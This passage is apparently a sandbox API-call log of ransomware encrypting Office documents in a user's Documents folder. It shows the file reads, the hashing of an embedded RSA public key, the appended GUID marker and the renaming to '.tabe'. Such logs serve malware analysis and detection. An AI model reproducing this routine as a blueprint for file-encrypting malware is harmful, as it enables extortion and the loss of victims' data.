[0126.303] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.303] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.303] CloseHandle (hObject=0x618) returned 1 [0126.304] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lQwOwuRg4EU.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lqwowurg4eu.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lQwOwuRg4EU.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lqwowurg4eu.pptx.tabe")) returned 1 [0126.305] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3d38d0, ftCreationTime.dwHighDateTime=0x1d5b172, ftLastAccessTime.dwLowDateTime=0x18b87720, ftLastAccessTime.dwHighDateTime=0x1d55bdd, ftLastWriteTime.dwLowDateTime=0x18b87720, ftLastWriteTime.dwHighDateTime=0x1d55bdd, nFileSizeHigh=0x0, nFileSizeLow=0x7125, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MOe2_m0ZA.pptx", cAlternateFileName="MOE2_M~1.PPT")) returned 1 [0126.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MOe2_m0ZA.pptx") returned=".pptx" [0126.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MOe2_m0ZA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\moe2_m0za.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.306] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=28965) returned 1 [0126.306] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.307] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x70ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.307] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.308] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7125, lpOverlapped=0x0) returned 1 [0126.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.309] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.310] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.310] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.310] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.310] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.310] GetLastError () returned 0x0 [0126.310] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.310] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.310] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.310] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.310] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.310] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.311] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.311] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.311] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.311] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.311] CloseHandle (hObject=0x618) returned 1 [0126.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MOe2_m0ZA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\moe2_m0za.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MOe2_m0ZA.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\moe2_m0za.pptx.tabe")) returned 1 [0126.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0126.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0126.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0126.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0126.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747eda0, ftCreationTime.dwHighDateTime=0x1d57329, ftLastAccessTime.dwLowDateTime=0x328689c0, ftLastAccessTime.dwHighDateTime=0x1d5e37e, ftLastWriteTime.dwLowDateTime=0x328689c0, ftLastWriteTime.dwHighDateTime=0x1d5e37e, nFileSizeHigh=0x0, nFileSizeLow=0x27eb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="O-sgVgJHm6j_SoEJfcN.docx", cAlternateFileName="O-SGVG~1.DOC")) returned 1 [0126.313] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O-sgVgJHm6j_SoEJfcN.docx") returned=".docx" [0126.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O-sgVgJHm6j_SoEJfcN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o-sgvgjhm6j_soejfcn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.313] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=10219) returned 1 [0126.313] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.314] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x27c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.314] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.315] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x27eb, lpOverlapped=0x0) returned 1 [0126.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.316] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.316] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.317] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.317] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.317] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.317] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.317] GetLastError () returned 0x0 [0126.317] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.317] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.317] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.317] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.317] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.317] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.318] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x27eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.318] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.318] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.318] CloseHandle (hObject=0x618) returned 1 [0126.319] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O-sgVgJHm6j_SoEJfcN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o-sgvgjhm6j_soejfcn.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O-sgVgJHm6j_SoEJfcN.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o-sgvgjhm6j_soejfcn.docx.tabe")) returned 1 [0126.320] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0126.320] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e85ee0, ftCreationTime.dwHighDateTime=0x1d5dedf, ftLastAccessTime.dwLowDateTime=0x9d1a3040, ftLastAccessTime.dwHighDateTime=0x1d5dcdd, ftLastWriteTime.dwLowDateTime=0x9d1a3040, ftLastWriteTime.dwHighDateTime=0x1d5dcdd, nFileSizeHigh=0x0, nFileSizeLow=0x111fe, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="P6G5NgEhZKQM6.xlsx", cAlternateFileName="P6G5NG~1.XLS")) returned 1 [0126.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P6G5NgEhZKQM6.xlsx") returned=".xlsx" [0126.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P6G5NgEhZKQM6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p6g5ngehzkqm6.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.320] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=70142) returned 1 [0126.320] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.321] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x111d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.321] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.322] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x111fe, lpOverlapped=0x0) returned 1 [0126.323] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.323] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.323] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.323] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.324] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.324] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.324] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.324] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.324] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.324] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.324] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.324] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.324] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.325] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.325] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x111fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.325] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.325] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.325] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.326] CloseHandle (hObject=0x618) returned 1 [0126.326] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P6G5NgEhZKQM6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p6g5ngehzkqm6.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P6G5NgEhZKQM6.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p6g5ngehzkqm6.xlsx.tabe")) returned 1 [0126.328] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50e02460, ftCreationTime.dwHighDateTime=0x1d5dc87, ftLastAccessTime.dwLowDateTime=0xa501d600, ftLastAccessTime.dwHighDateTime=0x1d5b226, ftLastWriteTime.dwLowDateTime=0xa501d600, ftLastWriteTime.dwHighDateTime=0x1d5b226, nFileSizeHigh=0x0, nFileSizeLow=0xb109, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rAGDqO_2z-.docx", cAlternateFileName="RAGDQO~1.DOC")) returned 1 [0126.328] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rAGDqO_2z-.docx") returned=".docx" [0126.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 